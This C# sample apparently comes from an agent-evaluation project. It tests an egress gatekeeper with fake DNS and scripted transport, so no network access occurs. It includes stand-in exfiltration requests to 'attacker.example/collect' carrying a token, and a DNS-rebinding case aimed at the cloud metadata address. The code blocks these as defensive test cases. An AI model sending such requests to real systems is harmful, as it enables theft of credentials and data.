// SPDX-License-Identifier: MIT // Copyright (c) 2026 AgentEval Contributors using System.Net; using System.Net.Sockets; using AgentEval.MAF.Gatekeeper.Egress; namespace AgentEval.Samples; /// Deterministic HTTP wire-boundary sample with fake DNS and transport; no socket is opened. public static class GatekeeperHttpWireBoundary { public static async Task RunAsync() { GatekeeperSampleContractRenderer.Print("23"); Console.WriteLine("\n=== Gatekeeper — HTTP Wire Boundary (offline) ===\n"); await AllowedHostAsync(); await RedirectEscapeAsync(); await DnsRebindAsync(); await RedirectLimitAsync(); await CallerCancellationAsync(); await NonLeakingBlockAsync(); Console.WriteLine(" ✅ allow-list, every redirect hop, DNS answers, limits, cancellation, and disclosure were verified without network access."); } private static async Task AllowedHostAsync() { var transport = new ScriptedTransport().Respond(HttpStatusCode.OK); using var client = Client(transport, new FakeDns().With("api.example.com", "8.8.8.8")); using var response = await client.GetAsync("https://api.example.com/orders"); Require(response.StatusCode == HttpStatusCode.OK && transport.Requests.Count == 1, "an allow-listed host with public DNS must pass once"); Console.WriteLine(" public allow-listed host: ALLOW"); } private static async Task RedirectEscapeAsync() { var transport = new ScriptedTransport() .Respond(HttpStatusCode.Found, "https://attacker.example/collect"); using var client = Client(transport, new FakeDns().With("api.example.com", "8.8.8.8")); var blocked = await CaptureBlockAsync(() => client.GetAsync("https://api.example.com/start")); Require(blocked.Host == "attacker.example" && transport.Requests.Count == 1, "the allowed first hop must run and the forbidden redirect must be blocked before transport"); Console.WriteLine(" redirect to forbidden host: BLOCK at hop 2"); } private static async Task DnsRebindAsync() { var transport = new ScriptedTransport().Respond(HttpStatusCode.OK); using var client = Client(transport, new FakeDns().With("api.example.com", "169.254.169.254")); await CaptureBlockAsync(() => client.GetAsync("https://api.example.com/metadata")); Require(transport.Requests.Count == 0, "an allow-listed name resolving to a reserved address must be blocked before transport"); Console.WriteLine(" allow-listed name → metadata IP: BLOCK before transport"); } private static async Task RedirectLimitAsync() { var transport = new ScriptedTransport() .Respond(HttpStatusCode.Found, "https://api.example.com/1") .Respond(HttpStatusCode.Found, "https://api.example.com/2") .Respond(HttpStatusCode.Found, "https://api.example.com/3"); using var client = Client( transport, new FakeDns().With("api.example.com", "8.8.8.8"), maxRedirects: 1); await CaptureBlockAsync(() => client.GetAsync("https://api.example.com/start")); Require(transport.Requests.Count == 2, "the original request plus one allowed redirect must be the measured limit"); Console.WriteLine(" redirect chain beyond limit: BLOCK after measured bound"); } private static async Task CallerCancellationAsync() { var transport = new ScriptedTransport().Respond(HttpStatusCode.OK); using var cancellation = new CancellationTokenSource(); var dns = new CancelledDns(); using var client = Client(transport, dns); cancellation.Cancel(); try { await client.GetAsync("https://api.example.com/orders", cancellation.Token); throw new InvalidOperationException("HTTP wire sample failed: caller cancellation was ignored."); } catch (OperationCanceledException) when (cancellation.IsCancellationRequested) { // Expected: caller cancellation is preserved, not rewritten as a policy block. } Require(transport.Requests.Count == 0, "cancelled work must never enter the transport"); Console.WriteLine(" caller cancellation: PRESERVED"); } private static async Task NonLeakingBlockAsync() { const string marker = "private-query-marker"; var transport = new ScriptedTransport().Respond(HttpStatusCode.OK); using var client = Client(transport, new FakeDns()); var blocked = await CaptureBlockAsync( () => client.GetAsync($"https://attacker.example/collect?token={marker}")); Require(!blocked.Message.Contains(marker, StringComparison.Ordinal), "a host allow-list refusal must not echo query data"); Require(transport.Requests.Count == 0, "the refused request must not reach transport"); Console.WriteLine(" refusal disclosure: host-only, query withheld"); } private static HttpClient Client( HttpMessageHandler inner, IDnsResolver dns, int maxRedirects = 5) => new( new GatekeeperHttpMessageHandler( inner, ["example.com"], new GatekeeperHttpEgressOptions { DnsResolver = dns, BlockPrivateNetworks = true, MaxRedirects = maxRedirects, DnsResolutionTimeout = TimeSpan.FromMilliseconds(500), })); private static async Task CaptureBlockAsync(Func> action) { try { using var _ = await action(); } catch (HttpEgressBlockedException exception) { return exception; } throw new InvalidOperationException("HTTP wire sample failed: expected a fail-closed egress refusal."); } private static void Require(bool condition, string message) { if (!condition) { throw new InvalidOperationException("HTTP wire sample failed: " + message + "."); } } private sealed class ScriptedTransport : HttpMessageHandler { private readonly Queue<(HttpStatusCode Status, string? Location)> _responses = []; public List Requests { get; } = []; public ScriptedTransport Respond(HttpStatusCode status, string? location = null) { _responses.Enqueue((status, location)); return this; } protected override Task SendAsync( HttpRequestMessage request, CancellationToken cancellationToken) { cancellationToken.ThrowIfCancellationRequested(); Requests.Add(request); if (!_responses.TryDequeue(out var scripted)) { throw new InvalidOperationException("HTTP wire sample has no scripted transport response."); } var response = new HttpResponseMessage(scripted.Status); if (scripted.Location is not null) { response.Headers.Location = new Uri(scripted.Location); } return Task.FromResult(response); } } private sealed class FakeDns : IDnsResolver { private readonly Dictionary _answers = new(StringComparer.OrdinalIgnoreCase); public FakeDns With(string host, params string[] addresses) { _answers[host] = addresses.Select(IPAddress.Parse).ToArray(); return this; } public Task ResolveAsync(string host, CancellationToken cancellationToken = default) => _answers.TryGetValue(host, out var addresses) ? Task.FromResult(addresses) : throw new SocketException((int)SocketError.HostNotFound); } private sealed class CancelledDns : IDnsResolver { public Task ResolveAsync(string host, CancellationToken cancellationToken = default) => Task.FromCanceled(cancellationToken); } }